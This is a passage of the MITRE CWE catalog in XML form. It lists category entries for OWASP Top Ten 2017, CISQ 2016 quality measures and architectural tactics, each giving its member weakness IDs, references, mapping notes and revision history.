            <Has_Member CWE_ID="98" View_ID="1008"/>
            <Has_Member CWE_ID="99" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1020" Name="Verify Message Integrity" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of a system's data integrity components. Frequently these deal with ensuring integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="353" View_ID="1008"/>
            <Has_Member CWE_ID="354" View_ID="1008"/>
            <Has_Member CWE_ID="390" View_ID="1008"/>
            <Has_Member CWE_ID="391" View_ID="1008"/>
            <Has_Member CWE_ID="494" View_ID="1008"/>
            <Has_Member CWE_ID="565" View_ID="1008"/>
            <Has_Member CWE_ID="649" View_ID="1008"/>
            <Has_Member CWE_ID="707" View_ID="1008"/>
            <Has_Member CWE_ID="755" View_ID="1008"/>
            <Has_Member CWE_ID="924" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1027" Name="OWASP Top Ten 2017 Category A1 - Injection" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="77" View_ID="1026"/>
            <Has_Member CWE_ID="78" View_ID="1026"/>
            <Has_Member CWE_ID="88" View_ID="1026"/>
            <Has_Member CWE_ID="89" View_ID="1026"/>
            <Has_Member CWE_ID="90" View_ID="1026"/>
            <Has_Member CWE_ID="91" View_ID="1026"/>
            <Has_Member CWE_ID="564" View_ID="1026"/>
            <Has_Member CWE_ID="917" View_ID="1026"/>
            <Has_Member CWE_ID="943" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1028" Name="OWASP Top Ten 2017 Category A2 - Broken Authentication" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="287" View_ID="1026"/>
            <Has_Member CWE_ID="256" View_ID="1026"/>
            <Has_Member CWE_ID="308" View_ID="1026"/>
            <Has_Member CWE_ID="384" View_ID="1026"/>
            <Has_Member CWE_ID="522" View_ID="1026"/>
            <Has_Member CWE_ID="523" View_ID="1026"/>
            <Has_Member CWE_ID="613" View_ID="1026"/>
            <Has_Member CWE_ID="620" View_ID="1026"/>
            <Has_Member CWE_ID="640" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1029" Name="OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="220" View_ID="1026"/>
            <Has_Member CWE_ID="295" View_ID="1026"/>
            <Has_Member CWE_ID="311" View_ID="1026"/>
            <Has_Member CWE_ID="312" View_ID="1026"/>
            <Has_Member CWE_ID="319" View_ID="1026"/>
            <Has_Member CWE_ID="320" View_ID="1026"/>
            <Has_Member CWE_ID="325" View_ID="1026"/>
            <Has_Member CWE_ID="326" View_ID="1026"/>
            <Has_Member CWE_ID="327" View_ID="1026"/>
            <Has_Member CWE_ID="328" View_ID="1026"/>
            <Has_Member CWE_ID="359" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1030" Name="OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="611" View_ID="1026"/>
            <Has_Member CWE_ID="776" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1031" Name="OWASP Top Ten 2017 Category A5 - Broken Access Control" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="1026"/>
            <Has_Member CWE_ID="284" View_ID="1026"/>
            <Has_Member CWE_ID="285" View_ID="1026"/>
            <Has_Member CWE_ID="425" View_ID="1026"/>
            <Has_Member CWE_ID="639" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1032" Name="OWASP Top Ten 2017 Category A6 - Security Misconfiguration" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="16" View_ID="1026"/>
            <Has_Member CWE_ID="209" View_ID="1026"/>
            <Has_Member CWE_ID="548" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">While the OWASP document maps to CWE-2 and CWE-388, these are not appropriate for mapping, as they are high-level categories that are only intended for the Seven Pernicious Kingdoms view (CWE-700).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1033" Name="OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="79" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1034" Name="OWASP Top Ten 2017 Category A8 - Insecure Deserialization" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="502" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1035" Name="OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.</Summary>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1036" Name="OWASP Top Ten 2017 Category A10 - Insufficient Logging &amp; Monitoring" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2017.</Summary>
         <Relationships>
            <Has_Member CWE_ID="223" View_ID="1026"/>
            <Has_Member CWE_ID="778" View_ID="1026"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1129" Name="CISQ Quality Measures (2016) - Reliability" Status="Draft">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Reliability, as documented in 2016 with the Automated Source Code CISQ Reliability Measure (ASCRM) Specification 1.0. Presence of these weaknesses could reduce the reliability of the software.</Summary>
         <Relationships>
            <Has_Member CWE_ID="120" View_ID="1128"/>
            <Has_Member CWE_ID="252" View_ID="1128"/>
            <Has_Member CWE_ID="396" View_ID="1128"/>
            <Has_Member CWE_ID="397" View_ID="1128"/>
            <Has_Member CWE_ID="456" View_ID="1128"/>
            <Has_Member CWE_ID="674" View_ID="1128"/>
            <Has_Member CWE_ID="704" View_ID="1128"/>
            <Has_Member CWE_ID="772" View_ID="1128"/>
            <Has_Member CWE_ID="788" View_ID="1128"/>
            <Has_Member CWE_ID="1045" View_ID="1128"/>
            <Has_Member CWE_ID="1047" View_ID="1128"/>
            <Has_Member CWE_ID="1051" View_ID="1128"/>
            <Has_Member CWE_ID="1056" View_ID="1128"/>
            <Has_Member CWE_ID="1058" View_ID="1128"/>
            <Has_Member CWE_ID="1062" View_ID="1128"/>
            <Has_Member CWE_ID="1065" View_ID="1128"/>
            <Has_Member CWE_ID="1066" View_ID="1128"/>
            <Has_Member CWE_ID="1069" View_ID="1128"/>
            <Has_Member CWE_ID="1070" View_ID="1128"/>
            <Has_Member CWE_ID="1077" View_ID="1128"/>
            <Has_Member CWE_ID="1079" View_ID="1128"/>
            <Has_Member CWE_ID="1082" View_ID="1128"/>
            <Has_Member CWE_ID="1083" View_ID="1128"/>
            <Has_Member CWE_ID="1087" View_ID="1128"/>
            <Has_Member CWE_ID="1088" View_ID="1128"/>
            <Has_Member CWE_ID="1097" View_ID="1128"/>
            <Has_Member CWE_ID="1096" View_ID="1128"/>
            <Has_Member CWE_ID="1098" View_ID="1128"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-961"/>
            <Reference External_Reference_ID="REF-968"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-23</Submission_Date>
               <Submission_Comment>Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-03-15">CISQ Quality Measures - Reliability</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1130" Name="CISQ Quality Measures (2016) - Maintainability" Status="Draft">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Maintainability, as documented in 2016 with the Automated Source Code Maintainability Measure (ASCMM) Specification 1.0. Presence of these weaknesses could reduce the maintainability of the software.</Summary>
         <Relationships>
            <Has_Member CWE_ID="561" View_ID="1128"/>
            <Has_Member CWE_ID="1041" View_ID="1128"/>
            <Has_Member CWE_ID="1044" View_ID="1128"/>
            <Has_Member CWE_ID="1047" View_ID="1128"/>
            <Has_Member CWE_ID="1048" View_ID="1128"/>
            <Has_Member CWE_ID="1052" View_ID="1128"/>
            <Has_Member CWE_ID="1054" View_ID="1128"/>
            <Has_Member CWE_ID="1055" View_ID="1128"/>
            <Has_Member CWE_ID="1064" View_ID="1128"/>
            <Has_Member CWE_ID="1074" View_ID="1128"/>
            <Has_Member CWE_ID="1075" View_ID="1128"/>
            <Has_Member CWE_ID="1080" View_ID="1128"/>
            <Has_Member CWE_ID="766" View_ID="1128"/>
            <Has_Member CWE_ID="1084" View_ID="1128"/>
            <Has_Member CWE_ID="1085" View_ID="1128"/>
            <Has_Member CWE_ID="1086" View_ID="1128"/>
            <Has_Member CWE_ID="1090" View_ID="1128"/>
            <Has_Member CWE_ID="1092" View_ID="1128"/>
            <Has_Member CWE_ID="1095" View_ID="1128"/>
            <Has_Member CWE_ID="1121" View_ID="1128"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-960"/>
            <Reference External_Reference_ID="REF-968"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-23</Submission_Date>
               <Submission_Comment>Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, References</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-03-15">CISQ Quality Measures - Maintainability</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1131" Name="CISQ Quality Measures (2016) - Security" Status="Draft">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Security, as documented in 2016 with the Automated Source Code Security Measure (ASCSM) Specification 1.0. Presence of these weaknesses could reduce the security of the software.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="1128"/>
            <Has_Member CWE_ID="78" View_ID="1128"/>
            <Has_Member CWE_ID="79" View_ID="1128"/>
            <Has_Member CWE_ID="89" View_ID="1128"/>
            <Has_Member CWE_ID="99" View_ID="1128"/>
            <Has_Member CWE_ID="120" View_ID="1128"/>
            <Has_Member CWE_ID="129" View_ID="1128"/>
            <Has_Member CWE_ID="134" View_ID="1128"/>
            <Has_Member CWE_ID="252" View_ID="1128"/>
            <Has_Member CWE_ID="327" View_ID="1128"/>
            <Has_Member CWE_ID="396" View_ID="1128"/>
            <Has_Member CWE_ID="397" View_ID="1128"/>
            <Has_Member CWE_ID="434" View_ID="1128"/>
            <Has_Member CWE_ID="456" View_ID="1128"/>
            <Has_Member CWE_ID="606" View_ID="1128"/>
            <Has_Member CWE_ID="667" View_ID="1128"/>
            <Has_Member CWE_ID="672" View_ID="1128"/>
            <Has_Member CWE_ID="681" View_ID="1128"/>
